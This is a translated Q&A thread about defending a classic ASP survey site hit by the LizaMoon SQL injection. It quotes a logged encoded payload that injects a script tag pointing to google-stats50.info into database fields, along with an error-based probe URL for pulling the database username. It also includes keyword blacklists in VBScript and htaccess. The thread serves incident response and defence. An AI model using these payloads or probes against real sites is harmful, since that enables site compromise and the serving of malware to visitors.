攻击使用 SQL Server 数据库的 ASP 站点
Posted
技术标签:
【中文标题】攻击使用 SQL Server 数据库的 ASP 站点【英文标题】:Attack on ASP site that uses a SQL server database 【发布时间】:2011-04-16 19:53:36 【问题描述】:我们有一个明显受到攻击的调查站点。这些症状与本网站以下页面上描述的相同: XSS Attack on the ASP.NET Website.
我在我们的 IIS 日志中发现了多个包含恶意代码的条目:
以下是 IIS 日志条目之一的 cs-uri-query 字段值示例。
surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105) %2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112) %2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112) %2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45) %2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110) %2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62) %2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar( 8000)),cast(char(32)+as+varchar(8)))--
我不明白上面的代码是如何工作的,但显然这是在查询字符串中发送到损坏我们数据库表中的列的内容。我们暂时关闭了我们的网站。我们可以从数据库中删除脚本,但这并不能防止当我们使站点重新上线时它再次被破坏。
有人对如何防止这种情况发生有任何建议吗?
【问题讨论】:
CHAR(n)
是一个 TSQL 函数,可将 int 转换为 ASCII 字符。这是上面示例包含的内容:</title><script src=http://google-stats50.info/ur.php></script>
,所以试试吧:print char(60)+char(47)+char(116)+char(105)+char(116)+char(108) +char(101)+char(62)+char(60)+char(115)+char(99)+char(114) +char(105)+char(112)+char(116)+char(32)+char(115)+char(114) +char(99)+char(61)+char(104)+char(116)+char(116)+char(112) +char(58)+char(47)+char(47)+char(103)+char(111)+char(111) +char(103)+char(108)+char(101)+char(45)+char(115)+char(116) +char(97)+char(116)+char(115)+char(53)+'...'
【参考方案1】:
这是一个 SQL 注入。
-
永远不要相信用户输入。您正在接受输入并将其直接发送到数据库
永远不要相信您的用户输入!
对照允许值的白名单检查所有输入。
对于文本输入,确保所有内容都被转义
关于这个主题有很多:Google is your friend
【讨论】:
不,Google 不是您的朋友。事实上,情况恰恰相反。我这么说并不是因为他们很久以前就把每个人的隐私都抛到了窗外。 :) @Esteban - 或者,因为他们正在与 Verizon 合作购买互联网,以便他们可以像收费公路一样运行它? 您忘记添加: 5. 永远不要相信用户输入! :) @Esteban:您能否详细说明您对 Google 的评论?我们在多大程度上不应该将 Google 视为我们的朋友,为什么不呢?【参考方案2】:还有……
-
使用参数化查询。
摆脱旧的经典 ASP,这使得使用参数化查询变得更加困难。迁移到 .NET,它更容易验证并且可以限制值、禁止 html 输入等等。
【讨论】:
【参考方案3】:不确定这是否仍然与您相关,但我过去曾发生过这种情况,因为我们仍在运行一些旧的 asp 站点。你需要做两件事来清理它。首先是为您的数据库查找和替换存储过程(很容易通过谷歌搜索),如果您能侥幸成功的话。不幸的是,有时数据会根据字段类型被截断,但这里没有什么可做的。否则需要回滚您的数据库。
其次是插入一个像这样的 SQL 注入黑客预防脚本作为包含 before 您的数据库连接:
祝你好运。
<%
' SqlCheckInclude.asp
'
' This is the include file to use with your asp pages to
' validate input for SQL injection.
Dim BlackList, ErrorPage, s
'
' Below is a black list that will block certain SQL commands and
' sequences used in SQL injection will help with input sanitization
'
' However this is may not suffice, because:
' 1) These might not cover all the cases (like encoded characters)
' 2) This may disallow legitimate input
'
' Creating a raw sql query strings by concatenating user input is
' unsafe programming practice. It is advised that you use parameterized
' SQL instead. Check @987654321@ for information
' on how to do this using ADO from ASP.
'
' Moreover, you need to also implement a white list for your parameters.
' For example, if you are expecting input for a zipcode you should create
' a validation rule that will only allow 5 characters in [0-9].
'
BlackList = Array("--", ";", "/", "/", "@@", "@",_
"char", "nchar", "varchar", "nvarchar",_
"alter", "begin", "cast", "create", "cursor",_
"declare", "delete", "drop", "end", "exec",_
"execute", "fetch", "insert", "kill", "open",_
"select", "sys", "sysobjects", "syscolumns",_
"table", "update")
' Populate the error page you want to redirect to in case the
' check fails.
ErrorPage = "/ErrorPage.asp"
'''''''''''''''''''''''''''''''''''''''''''''''''''
' This function does not check for encoded characters
' since we do not know the form of encoding your application
' uses. Add the appropriate logic to deal with encoded characters
' in here
'''''''''''''''''''''''''''''''''''''''''''''''''''
Function CheckStringForSQL(str)
On Error Resume Next
Dim lstr
' If the string is empty, return true
If ( IsEmpty(str) ) Then
CheckStringForSQL = false
Exit Function
ElseIf ( StrComp(str, "") = 0 ) Then
CheckStringForSQL = false
Exit Function
End If
lstr = LCase(str)
' Check if the string contains any patterns in our
' black list
For Each s in BlackList
If ( InStr (lstr, s) <> 0 ) Then
CheckStringForSQL = true
Exit Function
End If
Next
CheckStringForSQL = false
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''
' Check forms data
'''''''''''''''''''''''''''''''''''''''''''''''''''
For Each s in Request.Form
If ( CheckStringForSQL(Request.Form(s)) ) Then
' Redirect to an error page
Response.Redirect(ErrorPage)
End If
Next
'''''''''''''''''''''''''''''''''''''''''''''''''''
' Check query string
'''''''''''''''''''''''''''''''''''''''''''''''''''
For Each s in Request.QueryString
If ( CheckStringForSQL(Request.QueryString(s)) ) Then
' Redirect to error page
Response.Redirect(ErrorPage)
End If
Next
'''''''''''''''''''''''''''''''''''''''''''''''''''
' Check cookies
'''''''''''''''''''''''''''''''''''''''''''''''''''
For Each s in Request.Cookies
If ( CheckStringForSQL(Request.Cookies(s)) ) Then
' Redirect to error page
Response.Redirect(ErrorPage)
End If
Next
'''''''''''''''''''''''''''''''''''''''''''''''''''
' Add additional checks for input that your application
' uses. (for example various request headers your app
' might use)
'''''''''''''''''''''''''''''''''''''''''''''''''''
%>
【讨论】:
这是回答这个问题的坚实开端。它可以通过提供指向所引用项目的链接而不是仅仅告诉他们谷歌来改进。【参考方案4】:将您的 IIS 配置为发送自定义错误页面或默认错误 500 页面,而不是向客户端发送详细的错误消息。
已使用详细的错误消息来查找 db 架构。然后他们使用sql注入来更新文本字段。
以下是获取数据库用户的示例:
/page.asp?realparameter=1And%20char(94)%2Buser%2Bchar(94)=0
即“and ^+user+^=0”,它返回:
[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Conversion_failed_when_converting_nvarchar_value_'^myDbUsername^'_to_data_type_int。
其中“myDbUsername”是您的真实数据库用户。
使用类似的技术,可以一一获取数据库、表、列、类型等。
如果您尚未受到攻击,则禁用 IIS 中的详细错误,否则请检查您的日志以查找哪些页面存在 sql 注入漏洞并进行更正。
我写了一个小脚本来检查我的数据库中是否有“
【讨论】:
【参考方案5】:你被 LizaMoon 自动 SQL 注入漏洞利用包攻击,现在在第一次记录攻击的公司页面上的一篇文章中提到:http://community.websense.com/blogs/securitylabs/archive/2011/03/31/update-on-lizamoon-mass-injection.aspx
【讨论】:
【参考方案6】:BulletProof Security WordPress 插件具有 SQL 注入过滤器,可以在 htaccess 文件中阻止这种攻击。由于您有一个 IIS 服务器,因此您需要添加额外的功能,使您能够使用 htaccess 文件,或者您可以通过其他方式将 SQL 注入过滤器与 IIS 合并,因为 htaccess 传统上是 Apache 的东西。这是 BulletProof Security 主 htaccess 文件中阻止所有 SQL 注入黑客攻击尝试的行:
RewriteCond %QUERY_STRING ^.*(execute|exec|sp_executesql|request|select|insert|union|declare|drop|delete|create|alter|update|order|char|set|cast|convert|meta|script|truncate).* [NC]
RewriteRule ^(.*)$ - [F,L]
【讨论】:
以上是关于攻击使用 SQL Server 数据库的 ASP 站点的主要内容,如果未能解决你的问题,请参考以下文章
具有 ASP 成员资格的 Sql Server 中的安全性和 SQL 注入